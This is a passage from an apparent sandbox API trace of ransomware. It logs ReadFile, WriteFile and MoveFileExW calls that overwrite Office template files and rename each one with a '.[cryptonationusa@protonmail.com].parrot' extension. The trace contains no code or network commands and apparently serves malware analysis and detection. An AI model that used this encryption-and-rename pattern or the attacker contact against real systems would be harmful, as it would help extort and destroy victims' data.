lpNumberOfBytesRead=0x18eed4*=0x27e6, lpOverlapped=0x0) returned 1 [0208.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0208.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.709] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.711] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.711] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0208.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.739] WriteFile (in: hFile=0x27c, lpBuffer=0x22fa088*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22fa088*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0208.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.743] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0208.746] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3cbc0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0208.746] CloseHandle (hObject=0x27c) returned 1 [0208.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0208.755] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.755] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x49c6, lpOverlapped=0x0) returned 1 [0208.762] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0208.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0208.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.769] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.771] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc448, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbc448, lpOverlapped=0x0) returned 1 [0208.804] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0208.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0208.909] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.909] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.910] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.911] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a1ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a1ac, lpOverlapped=0x0) returned 1 [0208.917] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0208.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0208.932] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.932] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.934] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.934] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x48c6, lpOverlapped=0x0) returned 1 [0208.936] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0208.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0208.945] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.945] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.955] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.955] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27842, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27842, lpOverlapped=0x0) returned 1 [0208.961] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.969] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.970] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0208.970] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0208.975] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.975] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.979] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.979] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3464, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3464, lpOverlapped=0x0) returned 1 [0208.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.981] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABELHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\labelhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABELHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\labelhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0208.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0208.988] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.988] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.990] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.990] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f89d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f89d, lpOverlapped=0x0) returned 1 [0208.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0209.008] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.008] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.010] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.011] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x309e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x309e, lpOverlapped=0x0) returned 1 [0209.012] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0209.071] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.071] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.073] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb04, lpOverlapped=0x0) returned 1 [0209.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LINEACT.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lineact.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LINEACT.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lineact.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0209.080] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.080] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.085] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.085] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb026, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb026, lpOverlapped=0x0) returned 1 [0209.087] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LOGO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\logo98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LOGO98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\logo98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0209.124] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.124] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.125] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.126] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa82a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa82a, lpOverlapped=0x0) returned 1 [0209.128] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0209.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.140] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.142] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.142] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2383c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2383c, lpOverlapped=0x0) returned 1 [0209.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0209.161] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.162] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.207] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.207] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3e00, lpOverlapped=0x0) returned 1 [0209.208] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.210] MoveFileExW 